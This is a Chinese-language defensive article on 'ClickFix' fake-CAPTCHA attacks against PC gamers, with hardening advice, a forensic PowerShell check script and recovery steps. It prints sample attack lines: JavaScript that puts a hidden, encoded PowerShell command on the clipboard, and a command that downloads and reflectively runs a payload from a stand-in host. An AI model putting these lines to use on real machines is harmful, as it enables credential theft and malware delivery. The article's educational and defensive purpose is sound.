廣告位招商中 歡迎洽談

ClickFix 詐騙分析:假冒人機驗證、剪貼簿劫持與遊戲圈 PowerShell 攻擊防禦

365Finds Editorial
已收錄 11,430 篇 Wiki 文章

讓你的 AI 用上 365 Wiki

複製下方的提示詞,貼給你常用的 AI,然後直接提問。

下載完整版 Skill

先用提示詞體驗;經常使用時,安裝完整版 365Wiki Skill,以後無需重複複製。沒有常用 AI?Gemini、Microsoft Copilot 等網頁版也可以。

365Wiki Skill

引言:遊戲圈「ClickFix」新型社交工程攻擊的興起

在現代 PC 遊戲生態中,模組分發社群、著色器(Shaders)討論區、破解修補程式下載站以及遊戲閃退修復論壇是惡意攻擊者頻繁活躍的高危地帶。長久以來,針對遊戲玩家的惡意軟體主要依賴直接誘導下載偽裝成修改器、外掛工具或中文化檔案的 .exe 或 .zip 壓縮檔。然而,現代主流瀏覽器(Chrome、Edge、Firefox)與作業系統部署了極為嚴密的防禦機制:SmartScreen 檔案信譽評分、沙盒下載隔離、防釣魚遙測以及強制使用者確認彈跳視窗。

為了徹底繞過瀏覽器的所有安全審查,駭客組織開發出了一種隱蔽性極強的社交工程攻擊手段——ClickFix(亦被稱為「假冒人機驗證」或「剪貼簿貼上執行」攻擊)。ClickFix 不再強迫玩家從網頁下載不可信的執行檔,而是透過偽造的人機驗證介面,誘導玩家主動開啟 Windows 內建的 執行視窗(Win + R) 或 Windows Terminal,直接執行一段高度混淆的惡意 PowerShell 指令碼。

由於該指令是由玩家在本地以自身管理員或一般使用者權限主動調用的系統內建管理工具,整個過程不觸發任何瀏覽器下載行為,下載資料夾中沒有任何檔案落地,從而徹底瓦解了基於檔案的靜態防毒掃描與瀏覽器沙盒機制。本文將全面剖析 ClickFix 在遊戲圈的攻擊鏈條、記憶體無檔案執行機理,並提供針對性的取證排查與系統強化方案。

ClickFix 攻擊鏈條:從誘餌誘導到記憶體常駐

攻擊者的實施鏈條環環相扣,精準利用了玩家急於取得模組或修復遊戲報錯的急切心理:

[1. 玩家造訪受污染的遊戲資源頁(例如:「黑神話悟空卡頓修復檔」、「GTA6 洩漏測試版」、「DLSS 3.5 模組」)]
                                |
                                v
[2. 頁面彈出高仿人機驗證浮層:「請確認您不是機器人」(偽造 Cloudflare Turnstile 或 Google reCAPTCHA 樣式)]
                                |
                                v
[3. 瀏覽器 DOM 觸發:JavaScript 呼叫 navigator.clipboard.writeText(...) 悄無聲息將惡意指令寫入系統剪貼簿]
                                |
                                v
[4. 欺詐性互動引導:「請依序按下鍵盤上的 Win + R,然後按 Ctrl + V 貼上,並按 Enter 確認身分權杖」]
                                |
                                v
[5. 玩家在本地執行視窗按 Enter:explorer.exe 喚起 powershell.exe / cmd.exe 執行剪貼簿中的惡意程式碼]
                                |
                                v
[6. 混淆 PowerShell 指令碼執行:記憶體修補繞過 AMSI -> 下載二階段承載(Lumma / RedLine / Stealc 竊密木馬)]
                                |
                                v
[7. 資料回傳:靜默竊取 Steam 登入憑證、Discord Token、瀏覽器 Cookies 並上傳至駭客 Telegram 機器人或 C2]

第一階段:精準的遊戲誘餌

攻擊者透過 SEO 毒化技術搭建了大量一次性詐騙網站,專門針對熱門遊戲的高頻搜尋關鍵字:

第二階段:偽裝的人機驗證彈窗

當玩家點擊下載按鈕時,網頁不會開始下載檔案,而是彈出一個遮罩浮層,外觀與官方的 Cloudflare Turnstile、hCaptcha 或 Google reCAPTCHA 毫無二致:

第三階段:剪貼簿無感劫持

在玩家閱讀指引的同時,網頁背景的 JavaScript 腳本已靜默執行:

// 惡意網頁利用使用者點擊行為靜默寫入剪貼簿
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);

在現代 Chromium 瀏覽器核心中,只要 navigator.clipboard.writeText() 是在使用者直接互動事件(如點擊偽造的「驗證」按鈕)的回呼中觸發,瀏覽器就會直接允許寫入,不會跳出任何系統級授權警告。玩家誤以為自己只是點選了一個驗證框,卻不知自己的剪貼簿已被填入了武器化的系統級指令。


核心技術解構:惡意 PowerShell 載荷的執行階段

當受害者按下 Win + R 並貼上 Enter 後,系統 explorer.exe 衍生出的 PowerShell 行程通常會依序執行以下四個攻擊階段:

1. 視窗隱藏與執行原則繞過

惡意腳本在進入點透過參數規避視覺察覺與預設限制:

  # 典型的 ClickFix 引導指令結構
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."

2. 記憶體級修補 AMSI(反惡意軟體掃描介面)

在拉取真正的木馬二進位檔案之前,現代竊密木馬必須先癱瘓 Windows Defender 的 AMSI 機制。AMSI 負責在腳本執行前於記憶體層面動態掃描程式碼行為。

攻擊者針對 amsi.dll 實施記憶體熱修補:

3. 二階段載荷的無檔案記憶體注入

AMSI 被致盲後,PowerShell 會透過網路庫拉取真正的攻擊載荷:

  # 記憶體級拉取與反射載入執行
  $data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
  [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);

載荷透過 .NET 反射機制 [System.Reflection.Assembly]::Load 直接在記憶體中剖析並執行,或利用行程鏤空(Process Hollowing)技術注入到系統合法行程(如 MSBuild.exe、RegSvcs.exe 或 svchost.exe)中執行,在整個感染過程中不向硬碟寫入任何木馬執行檔。

4. 遊戲資產與憑證全面洗劫

最終載荷(通常為 Lumma、Stealc 或 Vidar 等知名竊密木馬)會定向搜尋受害者電腦上的遊戲資產:


ClickFix 威脅矩陣:誘餌類型與技術特徵比對

攻擊誘餌形式社交工程話術執行載體核心技術工件取證排查痕跡
假冒 Turnstile 人機驗證「請完成人機驗證以解鎖模組下載連結」Win + R -> powershell.exe -w hidden -encAmsiScanBuffer 記憶體修補 + IEX 遠端拉取事件識別碼 4104(指令碼區塊記錄);ConsoleHost_history.txt 留存 Base64 字串
DirectX / 執行階段修復精靈「偵測到缺少 d3dx9_43.dll,請在終端機貼上腳本自動修復」管理員 PowerShell 終端機mshta.exe http://.../fix.hta 或直接腳本Sysmon 記錄 mshta.exe 異常啟動;對外連線非微軟官方 IP 位址
Discord 測試資格啟用「請在命令列輸入您的專屬封測驗證 Token」cmd.exe /c start /b powershell ...Discord Webhook 回傳腳本系統產生向 discord.com/api/webhooks/... 發送帶附件的 HTTPS POST 請求
著色器編譯快取解封裝器「貼上此指令以在背景快速解開預編譯 Vulkan 快取」一般 PowerShell 主控台混淆腳本向 %TEMP% 釋放惡意 DLL 並注入HKCU\Software\Microsoft\Windows\CurrentVersion\Run 出現異常開機自啟項目

系統級深度防禦:強化 Windows 抵禦 ClickFix 攻擊

玩家與系統管理員可透過系統原則有效阻斷 ClickFix 的執行鏈條:

1. 開啟 PowerShell 指令碼區塊記錄(Event ID 4104)

預設情況下,Windows 不會完整記錄互動式命令的具體內容。開啟深度指令碼區塊記錄後,即使經過高度混淆或動態解密的指令碼,其最終在記憶體中執行的原貌也會被記錄在 Windows 事件檢視器中:

2. 設定 PowerShell 受限語言模式(CLM)

受限語言模式(Constrained Language Mode)能夠限制 PowerShell 的進階程式設計功能,禁止其呼叫任意 .NET 反射介面(如 [System.Reflection.Assembly])以及底層 Windows API,直接使 99% 的記憶體載入型木馬失效:

3. 透過 WDAC 限制 mshta.exe 與老舊指令碼主機

部分攻擊者利用 mshta.exe(HTML 應用程式主機)直接執行遠端 VBScript 或 JScript:


PowerShell 緊急應變指令碼:排查 ClickFix 感染痕跡

若懷疑自己曾經誤貼上執行過此類命令,請立即中斷網路連線,並以唯讀方式執行以下 PowerShell 指令碼進行取證自我檢查:

  # ClickFix 威脅自我檢查與取證排查指令碼
  Write-Host "=== ClickFix 威脅自我檢查與取證排查 ===" -ForegroundColor Cyan
  
  # 1. 審查 PowerShell 主控台歷史記錄
  $historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
  if (Test-Path $historyPath) {
      Write-Host "`n[1] 正在檢查最近執行的 PowerShell 歷史命令..." -ForegroundColor Yellow
      $suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
      $historyLines = Get-Content -Path $historyPath -Tail 50
      foreach ($line in $historyLines) {
          foreach ($pattern in $suspiciousPatterns) {
              if ($line -match $pattern) {
                  Write-Host "  [警告:發現可疑歷史命令]: $line" -ForegroundColor Red
                  break
              }
          }
      }
  }
  
  # 2. 審查 Windows 執行視窗歷史記錄 (MRU)
  Write-Host "`n[2] 正在檢查 Windows 執行視窗 (RunMRU) 登錄機碼..." -ForegroundColor Yellow
  $runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
  if (Test-Path $runMruPath) {
      $mruEntries = Get-ItemProperty -Path $runMruPath
      $mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
          if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
              Write-Host "  [高危:執行視窗存在可疑指令]: $($_.Name) = $($_.Value)" -ForegroundColor Red
          } else {
              Write-Host "  [正常項目]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
          }
      }
  }
  
  # 3. 檢查目前使用者自動啟動登錄機碼
  Write-Host "`n[3] 正在審查目前使用者自動啟動常駐項目..." -ForegroundColor Yellow
  $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
  Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan

感染後的標準化止損與復原協定

若排查確認已有惡意指令在本地執行,應依循以下緊急流程進行處置:

  1. 立即實體斷網:拔除網路線或中斷 Wi-Fi 連線,切斷惡意軟體向 C2 伺服器上傳竊取憑證的資料傳輸通道。
  2. 在乾淨裝置上緊急撤銷全部登入工作階段:
    • 使用手機或另一台未受污染的電腦登入 Steam:進入 設定 -> 安全性 -> 取消授權所有其他裝置,強制登出已被駭客竊取的 steamLoginSecure 工作階段 Cookie。
    • 登入 Discord 修改密碼:修改密碼會使原有的所有使用者 Token 立即失效。
    • 登入 Google、Epic Games、微軟等核心帳號,點選「從所有裝置登出」並更新密碼。
  3. 撤銷 Steam Web API Key:在乾淨裝置上瀏覽 https://steamcommunity.com/dev/apikey。若發現存在未經許可註冊的網域或 API Key,立即點選撤銷。
  4. 進行離線全盤掃描:使用 Windows Defender 離線版或製作可開機安全隨身碟對全盤開機區與暫存目錄進行深度掃描。
  5. 建立系統化網路工程安全素養:正規的驗證碼系統(如 Cloudflare 或 Google)完全運作在瀏覽器沙盒內部,任何以「人機驗證」為名要求玩家按下 Win + R 或在命令列貼上程式碼的情境,100% 均為惡意釣魚攻擊。持續借助如 365Finds 等專業知識庫提升底層攻防認知,才能從容識別社交工程迷霧,確保個人遊戲資產與隱私資料的長久安全。

參考文獻